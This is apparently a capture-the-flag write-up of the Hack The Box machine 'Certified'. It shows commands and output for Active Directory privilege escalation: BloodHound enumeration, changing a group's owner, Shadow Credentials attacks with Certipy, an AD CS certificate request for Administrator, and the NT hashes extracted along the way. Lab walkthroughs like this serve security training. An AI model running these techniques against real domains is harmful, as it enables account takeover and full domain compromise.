We began with the low-privileged user JUDITH.MADER@CERTIFIED.HTB, who had the ability to modify the owner of MANAGEMENT@CERTIFIED.HTB. By changing ownership, we added a controlled user to this group, escalating privileges. Next, we exploited GenericWrite permissions of MANAGEMENT@CERTIFIED.HTB over MANAGEMENT_SVC@CERTIFIED.HTB, allowing us to modify attributes and gain access as MANAGEMENT_SVC.
This account had GenericAll over CA_OPERATOR@CERTIFIED.HTB, enabling a full takeover. With control over CA_OPERATOR, we identified potential privileges related to Active Directory Certificate Services (AD CS). Using this, we requested a certificate for the Administrator account, obtained a TGT and extracted the NT hash, allowing us to authenticate as Administrator on the Domain Controller (DC) and achieve full domain compromise.
➜ Certified bloodhound-python -ns 10.10.11.41 -d certified.htb -u 'judith.mader' -p 'judith09' --zip -c all --dns-tcp INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: certified.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 10 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.certified.htb WARNING: DCE/RPC connection failed: [Errno Connection error (10.10.11.41:445)] timed out INFO: Done in 01M 44S INFO: Compressing output into 20250224075146_bloodhound.zip ➜ Certified unzip 20250224075146_bloodhound.zip Archive: 20250224075146_bloodhound.zip extracting: 20250224075146_users.json extracting: 20250224075146_containers.json extracting: 20250224075146_gpos.json extracting: 20250224075146_groups.json extracting: 20250224075146_computers.json extracting: 20250224075146_ous.json extracting: 20250224075146_domains.json ➜ Certified
Attack path
BloodHound Findings & Exploitation Path
JUDITH.MADER@CERTIFIED.HTB → Can modify the owner of MANAGEMENT@CERTIFIED.HTB.
MANAGEMENT@CERTIFIED.HTB → Has GenericWrite over MANAGEMENT_SVC@CERTIFIED.HTB.
MANAGEMENT_SVC@CERTIFIED.HTB → Has GenericAll over CA_OPERATOR@CERTIFIED.HTB.
Attack Flow
Modify MANAGEMENT@CERTIFIED.HTB ownership to gain control.
Abuse GenericWrite to modify MANAGEMENT_SVC and escalate privileges.
Leverage GenericAll to take over CA_OPERATOR, potentially leading to further AD privilege escalation.
The attack starts with JUDITH.MADER, who has the ability to change the owner of the Management group. By transferring ownership to that user, JUDITH.MADER gains full control over the group. Next, GenericAll permissions are granted to Management, allowing JUDITH.MADER to modify its members and add JUDITH.MADER to the group. Since Management group members have GenericWrite on Management_SVC, JUDITH.MADER can abuse this permission to perform a Shadow Credentials attack. Using Certipy, JUDITH.MADER can add a malicious Key Credential to Management_SVC, retrieves a TGT & NT hash, and authenticates as that user. Finally, since Management_SVC has GenericAll over CA_Operator, JUDITH.MADER can take full control of CA_Operator.
User
Change Ownership of the Management Group: → Transfers ownership of the Management group to judith.mader, allowing full control over the group.
1 2 3 4 5 6 7 8
➜ Certified owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09' Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies
Perform Shadow Credentials Attack on Management_SVC: → Adds a new Key Credential to management_svc, authenticates using PKINIT, retrieves its TGT & NT hash, and restores the original Key Credential.
➜ Certified certipy shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'management_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' [*] Adding Key Credential with device ID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' to the Key Credentials for 'management_svc' [*] Successfully added Key Credential with device ID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' to the Key Credentials for 'management_svc' [*] Authenticating as 'management_svc' with the certificate [*] Using principal: management_svc@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'management_svc.ccache' [*] Trying to retrieve NT hash for 'management_svc' [*] Restoring the old Key Credentials for 'management_svc' [*] Successfully restored the old Key Credentials for 'management_svc' [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584 ➜ Certified
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\management_svc\Documents>
Root
The user MANAGEMENT_SVC@CERTIFIED.HTB has GenericAll privileges to the user CA_OPERATOR@CERTIFIED.HTB. With Management_SVC having GenericAll on CA_Operator, we fully control the account. Using the NT hash from Shadow Credentials, we authenticate as CA_Operator.
→ Exploits Shadow Credentials to take over CA_OPERATOR using Certipy.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
➜ Certified certipy shadow auto -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_operator' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' [*] Adding Key Credential with device ID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' to the Key Credentials for 'ca_operator' [*] Successfully added Key Credential with device ID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' to the Key Credentials for 'ca_operator' [*] Authenticating as 'ca_operator' with the certificate [*] Using principal: ca_operator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'ca_operator.ccache' [*] Trying to retrieve NT hash for 'ca_operator' [*] Restoring the old Key Credentials for 'ca_operator' [*] Successfully restored the old Key Credentials for 'ca_operator' [*] NT hash for 'ca_operator': 259745cb123a52aa2e693aaacca2db52
→ Extracts NT hash of CA_OPERATOR, enabling pass-the-hash authentication.
[+] Trying to resolve 'CERTIFIED.HTB' at '192.168.18.2' [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.41[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.41[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 46 [*] Got certificate with UPN 'administrator' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx' ➜ Certified
Now we can obtain a TGT and NT Hash Using the Administrator Certificate
[*] Using principal: administrator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34 ➜ Certified
Successfully Authenticating as Administrator on the Domain Controller